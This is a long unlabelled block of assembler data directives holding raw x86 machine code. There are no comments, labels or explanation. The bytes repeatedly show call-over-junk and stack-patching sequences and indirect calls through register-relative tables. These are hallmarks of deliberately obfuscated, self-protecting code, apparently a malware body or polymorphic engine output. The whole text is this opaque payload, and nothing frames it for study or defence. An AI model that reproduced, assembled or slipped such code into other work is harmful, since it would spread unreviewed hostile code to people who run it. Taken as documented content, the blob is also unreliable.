		dd 24448104h, 1704h, 0C3534300h, 75830B53h, 624BB66h, 0F01E183h
		dd 685h, 0A5958900h, 8B060626h,	629558Dh, 0F6816606h, 0E183826Eh
		dd 25850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3CB8C356h, 0B58BEDEBh
		dd 6062129h, 820F6061h,	8, 498D8951h, 5E060615h, 0FFFFFEB9h
		dd 0F3B70FFFh, 21718D21h, 6A0606h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 5CF524C3h, 0B58D290Ah
		dd 21060621h, 626198Dh,	0D6816606h, 8D8B58C5h, 6062171h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4EC35242h
		dd 3CC8A546h, 0F88BBC1Bh, 0F01E183h, 1985h, 14E900h, 58A90000h
		dd 0B3BF9147h, 55EA87BCh, 49D20885h, 348F6148h,	8D8B26A7h
		dd 6062619h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	23C35040h, 4D858956h, 83060633h, 850F01E1h, 32h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F1C35747h
		dd 0FE97CF7h, 0D6000000h, 0DD795C72h, 8FF3876h,	0E20D3D2Ch
		dd 6061A296h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	7C35141h, 12E9h, 26968E00h, 7CAD41E2h, 662F0691h
		dd 359522C0h, 0F8916A9h, 0D83h,	8E900h,	0C30B0000h, 35CEA2D2h
		dd 85C7F094h, 6062495h,	7D0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 82C35040h, 0F63873Bh, 288h
		dd 615AB100h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	6BC35646h, 0E25A756Dh, 6FA6C881h, 0BF0F5D93h, 6107EBD3h
		dd 0E99Dh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6A562DC3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9D2CC351h
		dd 0E8ADCCD2h, 12h, 88A2BC60h, 115E5DA8h, 84A68266h, 0CBECDC4Dh
		dd 7E92700h, 2000000h, 3253080Ch, 8B58FA10h, 62E8D95h
		dd 0E9C18B06h, 75h, 0D88C6660h,	840F04A8h, 35h,	0B5FF016Ah
		dd 606321Dh, 7A7C858Dh,	0D0FF0609h, 20E58589h, 0FE8B0606h
		dd 680CEFC1h, 20040000h, 26A006Ah, 0D6857h, 95FF0001h
		dd 60620E5h, 32E9h, 0C185C600h,	56060601h, 0C530DF68h
		dd 0DDB5FFA9h, 8D06061Bh, 97A7C85h, 89D0FF06h, 6033985h
		dd 11858D06h, 5006061Ah, 56A206Ah, 3995FF56h, 61060603h
		dd 6E0C1C3h, 9104BEBh, 0C53C2F0Eh, 0ACDA4B1Ah, 0D2D41CA4h
		dd 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h,	0E62AC7DDh
		dd 0DF1BCE17h, 0A6DB6734h, 465B4800h, 0A3EA1A00h, 0D5h
		dd 0C9199C00h, 470000FEh, 0FBFEh, 0E6412800h, 727DD427h
		dd 0C16E9C3h, 83F50000h, 61D3DBDh, 850F0006h, 15h, 0B8F8h
		dd 0C7810000h, 7104DA45h, 0B0004C2h, 61E69BDh, 6AC08B06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0FFD5C357h, 53BA7BCFh, 293D9501h,	0BD830606h
		dd 60630D1h, 83097500h,	604B5BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 359D8D00h, 0FF0608B0h, 83585BD3h, 604B5BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 8AF829Dh, 5BD3FF06h
		dd 57006A58h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 7DC40500h, 3226BF66h, 9D8BC08Bh, 606121Dh, 1A80858Dh
		dd 9D89060Ah, 6060335h,	0E8525050h, 13h, 0AD13114h, 530F785h
		dd 49ED74B4h, 74716991h, 66002E68h, 0F5FFE8Bh, 5ABDB531h
		dd 24048958h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0B9C35343h, 0E83AC46Ch,	0D0B70F37h, 1A3D858Dh
		dd 90F9060Ah, 6650E6B3h, 5190D68Bh, 9E951h, 0A0DF0000h
		dd 94390CE9h, 59938B84h, 8195FF5Ah, 6A06062Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 64E6C352h, 81663DBEh, 8BFE9DD7h, 6A042444h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E251C357h, 4883F072h, 0FE8C9EBh, 5000000h, 0B5240BD6h
		dd 0F35A0C74h, 0EC61E7C6h, 0F7817B1Eh, 2F4B2367h, 6885895Fh
		dd 8B060A1Ah, 24448BD6h, 75EA8108h, 894BC138h, 0A1A7C85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0E3278E4Ch, 2E94FB9Bh, 0EE9AF74h, 8A000000h
		dd 4634100Ch, 0E8FC95B3h, 37DA6B19h, 0DBD8369h,	6061Eh
		dd 0D0850Fh, 0E8530000h, 0Fh, 2730CBBh,	96F13923h, 0E6F70BF7h
		dd 593A598Eh, 0C185C65Fh, 47060601h, 21059D23h,	0BD8B0606h
		dd 6061A39h, 0D474E868h, 8B6660B7h, 61C88BCEh, 3A243481h
		dd 6A634ED3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 3646C357h, 8CABC40Bh, 0D08B0C8Dh
		dd 1BDDB5FFh, 840F0606h, 0Eh, 81858960h, 81060616h, 539AF4DAh
		dd 858D6107h, 6097A7Ch,	10E8h, 87C84600h, 0A3A92866h, 0D824101Ch
		dd 0AF8279EBh, 5BB6B2D3h, 0D820C181h, 0D0FF65B3h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 57C35646h, 2DED8D0Bh
		dd 85890606h, 6061E0Dh,	264D958Bh, 0BD830606h, 6062BCDh
		dd 0AD850F00h, 89000000h, 603A9BDh, 85895706h, 606226Dh
		dd 0C185C65Bh, 47060601h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 18C35646h, 3033C9DCh,	0CFFE21h, 2D4A687Bh
		dd 4814A08h, 7889824h, 57006A40h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0B63D1752h, 0AA8B9DC7h
		dd 0DDB5FFDAh, 6A06061Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 60D1C350h, 7A7C858Dh
		dd 9D2B0609h, 6062201h,	0BD8BD0FFh, 60610E1h, 2BCD8589h
		dd 9D890606h, 60611D1h,	2609BD83h, 0F000606h, 7A85h, 39858900h
		dd 0C606061Fh, 601C185h, 6A5606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 121568C3h, 8180E47Eh
		dd 0C213F2E7h, 2DB5294Eh, 68060615h, 861D8D00h,	39240481h
		dd 0B94E01E0h, 2F81465Fh, 1BDDB5FFh, 8D8B0606h,	6061125h
		dd 7A7C858Dh, 95330609h, 60625F5h, 5F57D0FFh, 26098589h
		dd 0F560606h, 587h, 0F2816600h,	0C659F76Bh, 601C185h, 0BE86C06h
		dd 9B000000h, 8F70305Ch, 2BA876CDh, 5AF5E6B2h, 2265B589h
		dd 4E80606h, 83000000h,	50DB0570h, 6890F52h, 0F000000h
		dd 84h,	448B5F00h, 0E8560424h, 12h, 32ABA2F1h, 1753FB38h
		dd 57CBF1F4h, 0E4830A4h, 6FBF92D5h, 5A59B2C3h, 0B2008B5Fh
		dd 24448915h, 0CE8B6604h, 0FD48A58h, 0B5FFD8BFh, 606321Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BEC35545h
		dd 0CB2C0EA1h, 0B58951C0h, 6063411h, 39F5858Dh,	6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 7C47BDC3h, 0F5F57273h, 8D8BD0FFh, 6062BD5h, 1A6C8589h
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 6263EEC3h, 3977ABCDh, 310D0C1Dh, 601B595h
		dd 6A046A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0D0F7C351h, 8DBC41C3h,	0E8D18B66h
		dd 4, 1000h, 0F525060h,	5AF08B31h, 0C68B6658h, 0B1535061h
		dd 448B5996h, 51600424h, 0B95B5F57h, 72C2F861h,	52008B61h
		dd 0AE9h, 65728900h, 0BE9DA013h, 59790434h, 4244489h, 2958F3B6h
		dd 624B59Dh, 0B8566806h, 5250FE94h, 0D08A310Fh,	481585Ah
		dd 6C47AA24h, 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 64B21132h, 8B66F5CAh, 0F006AD1h
		dd 387h, 0F98B6600h, 4595FFh, 9D2B0606h, 6062D85h, 1A788589h
		dd 9D01060Ah, 6061525h,	9531006Ah, 6062A7Dh, 493FBA66h
		dd 4E8h, 1000000h, 50F4B300h, 52B65250h, 0D38B310Fh, 448B585Ah
		dd 0AABB0424h, 8B288F46h, 24448900h, 0AE904h, 36550000h
		dd 77816598h, 24A44B3Fh, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 480EC5F0h, 9585890Ch
		dd 9006061Ch, 6050DF8Bh, 14E8h,	7EBA2C00h, 0C701F7DCh
		dd 5227477Eh, 2C95A3F0h, 110AA538h, 0F52507Ah, 5B585A31h
		dd 6A9061h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0B84F44C3h, 983E8620h, 418589DDh,	8B06062Dh
		dd 611D18Dh, 8B0B6A06h,	60775BDh, 45858D06h, 89060A1Ah
		dd 633718Dh, 52505006h,	0FD08B66h, 5A10B731h, 24048958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 90C35242h
		dd 818E1E49h, 0FD08B66h, 0FFF8FEB7h, 61E0D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 1431E1B0h, 9E9AE02h,	7D000000h, 5E7589EEh, 90532639h
		dd 1A4FB58Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0DE9E5C3h, 0FE000000h, 0E7C01150h
		dd 0B287548Bh, 502A6ECAh, 5820F96h, 0B9000000h,	44955B6Ch
		dd 11E850h, 5A4A0000h, 0B5A67541h, 51FFD74Eh, 635000BEh
		dd 8B67039Ch, 6A965BCAh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0B7B3C356h,	53D9BA99h
		dd 5F616056h, 489505Bh,	0DF8B6624h, 2BCD95FFh, 0D0FF0606h
		dd 0D4E18166h, 78B58BC3h, 0E8060A1Ah, 0Bh, 6725A117h, 7D96C729h
		dd 9E8A018h, 611D185h, 85C75906h, 60A1A70h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B4C35242h
		dd 8BB67E54h, 6227995h,	207E8006h, 56840F00h, 60000002h
		dd 0FCC8B70Fh, 6A20468Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 8329C356h, 0B3BB5F53h
		dd 95896D78h, 60601FDh,	1A748589h, 0B550060Ah, 9E95BDCh
		dd 0B000000h, 6265995h,	0D88A4006h, 0F003880h, 0FFFFF485h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E9E4C4A6h, 48h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0ABC35242h,	0FDD4875h, 6602AAA3h
		dd 9BD2EF81h, 5C56D181h, 0E9487C2Eh, 14h, 37BE1E79h, 2D0A896Dh
		dd 0B305F9C5h, 0CBA0B182h, 12BE5334h, 0F5C3880h, 2384h
		dd 80FA8B00h, 840F2F38h, 18h, 1B75958Bh, 853B0606h, 60A1A74h
		dd 0FFC0830Fh, 8D8BFFFFh, 6060221h, 599D8940h, 8306060Fh
		dd 0A1A7CBDh, 840F0006h, 73h, 50D0DA80h, 0D08B5250h, 73B9310Fh
		dd 5A42B48Ch, 24048958h, 31E9A7BBh, 7C85036Eh, 6A060A1Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0BB0DC353h, 1800467Ch, 8E9h, 8BB39C00h, 0AEC082F0h
		dd 0C61Fh, 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0A9858901h, 5006062Ah, 0AE9h, 9F121C00h
		dd 0F9B07959h, 897491FAh, 0B5892404h, 606222Dh,	1A68B5FFh
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B03CAFC3h, 0B0CC67C2h, 897BCDB2h, 61E9985h
		dd 6C95FF06h, 8B060A1Ah, 0FC00BD0h, 6A85h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 935B822Dh, 0AFC32BBBh, 6A616Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0AF332EC3h, 13B745Ah
		dd 758D8923h, 0C706061Bh, 0A1A7085h, 106h, 15952900h, 0E9060611h
		dd 29h,	0DBD33F5h, 61060623h, 1CC681F9h, 0E9000001h, 0Ah
		dd 8426E09Eh, 0D0F20DCDh, 0A6E93974h, 89FFFFFDh, 60E5D85h
		dd 0FD796806h, 66568493h, 815ACA8Bh, 82872404h,	810F7B6Ch
		dd 6, 16299D31h, 8D890606h, 6061A89h, 8D89006Ah, 6062335h
		dd 1A78B5FFh, 95FF060Ah, 6062609h, 8B1BF280h, 0A1A7085h
		dd 8E906h, 57720000h, 21B59BC5h, 50500409h, 0E8310F52h
		dd 0Bh,	0D5898E96h, 419CBF3h, 8A363FCCh, 585A5FFCh, 29240489h
		dd 60885BDh, 80858D06h,	6A060A1Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 8B06C350h
		dd 842901BAh, 870F5050h, 0Eh, 52505250h, 585A310Fh, 0D98A310Fh
		dd 489585Ah, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0A62D65ECh, 8DC9CF3Dh, 0A1A3D85h
		dd 0C59D8906h, 90060624h, 0D08B6656h, 0FE8B505Ah, 0E195FF90h
		dd 6A060612h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 266BC356h, 9A4D026Dh, 0F1267722h
		dd 0EE9h, 43343B00h, 0F122C414h, 18607929h, 8B25DB2Dh
		dd 0FD9D01C0h, 8306061Ah, 630D1BDh, 9750006h, 4B5BD83h
		dd 74000606h, 8B535013h, 4D0B8C0h, 9D8D0000h, 608B09Ch
		dd 585BD3FFh, 4B5BD83h,	74000606h, 0B8535011h, 4D0h, 0AF9B9D8Dh
		dd 0D3FF0608h, 8B66585Bh, 6AC08BCFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 23D4C356h
		dd 9F1B7DABh, 43E38166h, 73D9818Bh, 5836322Dh, 12DA8166h
		dd 8C2A0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0D2C35545h, 0D69A19C9h,	0E836BB66h, 8A0FC08Bh
		dd 6, 0E49BD8Bh, 850F0606h, 3, 8D5DEB80h, 0A1A8E85h, 89F38A06h
		dd 6235185h, 6A6006h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0EB309DC3h, 0B71D7251h, 0C08BE0D3h
		dd 0F5BBC681h, 0BD835322h, 60630D1h, 83097500h,	604B5BDh
		dd 19740006h, 0C08B5350h, 438B8h, 51858900h, 8D06062Ch
		dd 8B2619Dh, 5BD3FF06h,	0B5BD8358h, 60604h, 53501774h
		dd 438B8h, 51858900h, 8D06062Ch, 8AF509Dh, 5BD3FF06h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 42CE39F6h, 4F102D17h, 14E8D4h, 7020000h, 418EDED2h
		dd 85CB2FA1h, 2FB561EEh, 82ED4F1Fh, 8D8BF89Bh, 60607C1h
		dd 57006A5Fh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 9EA2824Ah, 399209E7h, 8D8B56E2h,	6060069h
		dd 0BA66605Eh, 8B6190CCh, 0F9B589C0h, 66060615h, 2D5FD781h
		dd 808E8h, 0DD852900h, 89060612h, 62D3D85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0EDE97309h, 0DCA483ACh, 0F9B70F15h, 0E58D8960h, 8B06061Eh
		dd 60741B5h, 0C2E86106h, 6A000007h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C429C356h
		dd 1D4C94A1h, 895952E1h, 625ED85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0BE62FAA0h
		dd 33DB7313h, 918D8B4Ah, 0E8060633h, 769h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 6AC35242h, 85898E45h
		dd 6062E99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	15C35646h, 1F5AB966h, 720E8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 8D8BAE1Ch, 6062209h,	0DF98589h, 0E8F50606h, 6F1h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 29C35242h, 0A0E3BE32h
		dd 0E31071CDh, 2EF18589h, 8D890606h, 606232Dh, 33C99509h
		dd 0B6E80606h, 6A000006h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 9868C353h, 569A99D7h
		dd 5E8E3h, 0BCC00000h, 8110C602h, 81E19AC7h, 85895E53h
		dd 6062AD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	1EC35646h, 755762FDh, 9E98A5Ch,	62000000h, 9DA7DB8h
		dd 6DBF86Fh, 648E8h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0C9BF0FAFh, 2799B58Bh
		dd 85890606h, 60614D5h,	61EF8166h, 613E853h, 0CE90000h
		dd 0E6000000h, 0FA4E6Eh, 9DFBC2BCh, 66EDDF97h, 0F924EF81h
		dd 12F58589h, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 1DAFECC3h, 99179E52h, 5D0E8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 34100C8Ah, 0FC95B346h, 0BD8B19E8h, 6060135h,	21E9BD03h
		dd 85890606h, 6061325h,	92E877B1h, 60000005h, 0B0B7C780h
		dd 858961C2h, 6062D29h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 19h, 8CC35545h, 0F6A5653h
		dd 0F88B6676h, 55CE8h, 55006A00h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 609ADBECh, 68D0F73h, 1000000h
		dd 60FE985h, 9D858906h,	0E8060622h, 11h, 7BDA482h, 0C88C9817h
		dd 0BF65169Dh, 947C5A27h, 0EE85F79h, 0F000005h,	0BF0FF0B7h
		dd 7D8589FAh, 0F5060621h, 4FCE8h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8D89D8D8h
		dd 6062AC5h, 8589CB8Bh,	6062705h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 9C35545h, 7729371Ah, 9D8D31D7h
		dd 8B060620h, 4A3E8CFh,	85890000h, 6061165h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 4AC35040h, 820Fh
		dd 76E80000h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 203DC356h, 77EE0355h
		dd 0BD89CD82h, 6063219h, 68E0Fh, 8D8B0000h, 6063409h, 201D8589h
		dd 0B9660606h, 32E8EE6Fh, 6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6620C353h
		dd 1406E781h, 1E8DB58Bh, 85890606h, 6060145h, 0B52900B0h
		dd 6062F39h, 22E18589h,	0B60F0606h, 40EABFD8h, 6BA469Ch
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0FC81C353h, 0E8FA8654h, 0Ch, 2D9941Ch
		dd 7B947681h, 55183889h, 0B598D89h, 8B590606h, 56006AC3h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 9226C6h, 0F9712E4h, 683h, 0D8D8B00h,	0C1060607h, 6A04E8h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0D77233C3h, 61476893h, 66C3D84Ch, 0BF50E2F7h, 345083C7h
		dd 1D82B5Eh, 6303DBDh, 56605006h, 5AD08B66h, 9E8h, 5D41F200h
		dd 991D343Dh, 2BBA4D40h, 5F0C3517h, 241C8961h, 0FFCBB70Fh
		dd 61FF195h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0BB8B4C7Ah, 0B26A7B1Fh, 0B58B922Fh
		dd 6060241h, 0D840Fh, 66600000h, 809ED981h, 2131B58Bh
		dd 5B610606h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ch,	32C35545h, 2D276873h, 1BEE5FE0h, 2935958Dh, 0F88B0606h
		dd 6A1A89h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0CE9DB0C3h, 64FD2DEh, 895587CDh, 6A0442h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 82EAC2C3h, 0E55BDC02h, 958DF853h, 60627A1h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FEC35747h, 95F33FAFh
		dd 68D0FBCh, 1000000h, 60479BDh, 0DD8D2B06h, 89060617h
		dd 35CF811Ah, 89717888h, 8D890442h, 6062211h, 615A5660h
		dd 1C3D958Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0E777B9C3h, 8BEAA558h, 11E85E09h
		dd 0A0000000h, 0B294BF1Ch, 7967B5A9h, 34EE6E46h, 0A2986D74h
		dd 1EA9BD29h, 665E0606h, 4CCCE681h, 66561A89h, 895EC88Bh
		dd 9D010442h, 6061399h,	2E7D958Dh, 95010606h, 6062371h
		dd 6A1A89h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0A1B64FC3h, 8166A796h, 5211DCD9h,	7A0DE81h
		dd 895F6608h, 0B58B0442h, 60614A5h, 3175958Dh, 14E90606h
		dd 95000000h, 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh
		dd 892B530Fh, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 874EE59Ch, 42892EDCh, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0FE8B6130h, 1355958Dh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 1EB40C3h, 97C06173h
		dd 0E9CA2AE8h, 8, 0E9E589FEh, 0B0D2991Fh, 6A1A89h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0FB3DFAC3h, 44289E6h, 0D798D09h, 958D0606h, 606168Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 5EC35141h
		dd 0C02D263h, 89325308h, 2830F1Ah, 8A000000h, 44289CBh
		dd 2FED8D8Bh, 958D0606h, 60621BDh, 66A8BF66h, 6A1A89h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 895AE7C3h, 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0D53CC2C3h, 0F21A0208h, 0FBBF0F87h
		dd 13FE9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 6C2C298Ah, 6A006A69h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0AD2C350h
		dd 7EFEEE58h, 65858B60h, 0FC06060Bh, 0AD80B961h, 6A3A91h
		dd 13E9h, 7E459A00h, 8F34435h, 6224A240h, 9DA7DB8h, 6DBF86Fh
		dd 23E5B589h, 6A0606h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 80C35545h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0E98D63C3h
		dd 6870F37h, 89000000h,	60DF5BDh, 95FFF506h, 6061A3Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0FEC35141h
		dd 4D8D0160h, 8B060623h, 62479B5h, 6AC36106h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 23F1C350h, 0CD0C5DB6h, 0E85A0DA5h, 10h, 8AC56403h, 5F031440h
		dd 5D1B0B2Bh, 5592ED1Fh, 12E9h,	278B5800h, 0ED0B85D6h
		dd 72A449C6h, 41AAE072h, 5982C725h, 6AC58Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4A1F84C3h
		dd 0B79EF21Bh, 121BD89h, 0BD890606h, 60631E5h, 6AC08Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 415608C3h, 9E960D9h,	65000000h, 0D26EE275h, 0DBDF157Fh
		dd 1641BD8Bh, 83610606h, 630D1BDh, 9750006h, 4B5BD83h
		dd 74000606h, 8B535019h, 438B8C0h, 85890000h, 60620B9h
		dd 0B2C89D8Dh, 0D3FF0608h, 0BD83585Bh, 60604B5h, 50177400h
		dd 438B853h, 85890000h,	60620B9h, 0AF699D8Dh, 0D3FF0608h
		dd 6657585Bh, 59C93FBFh, 0F238A9BEh, 50006A53h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 39826B61h
		dd 8DC08BF2h, 6236985h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D62682E6h, 13C59D0Bh
		dd 8D890606h, 6061169h,	24048950h, 6AFFB70Fh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 6095BE8Ch, 27C9B503h, 85290606h, 6061029h, 6A006A61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E8C2C352h
		dd 19EFF9AFh, 5F2C6250h, 15ED9589h, 858D0606h, 60A33EBh
		dd 83D9BF0Fh, 14E905C0h, 0F4000000h, 0DF8C1DB9h, 387D76C8h
		dd 9A0B1CACh, 0B0CFAE30h, 909AA37Fh, 0DE96050h,	3F000000h
		dd 0C2D4A6D2h, 0CC8A7923h, 0FE0F62C5h, 0D5D7E9BFh, 505B6144h
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 867EA415h, 8E0F607Ch, 3,	619FE280h, 2F259D8Bh
		dd 8D310606h, 6061EA9h,	0B529006Ah, 60629A9h, 27EFF381h
		dd 6A1A1Dh, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	43C35646h, 0E9E2FE8Ah, 95FFF17Eh, 6062F9Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4C35747h, 0B19D8B80h
		dd 8D060607h, 995158Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 67DE1D83h, 0F0EBC381h
		dd 0BB666D85h, 0D1FFEAF4h, 0BD835F53h, 6061D3Dh, 75850F01h
		dd 52000000h, 1E9D9D29h, 6A5B0606h, 9E95002h, 0F6000000h
		dd 0CDE1F487h, 0C0AB28A8h, 6A240489h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 1FE1C357h
		dd 0B9595F01h, 664D80C8h, 0F843F781h, 2C1D95FFh, 6A0606h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
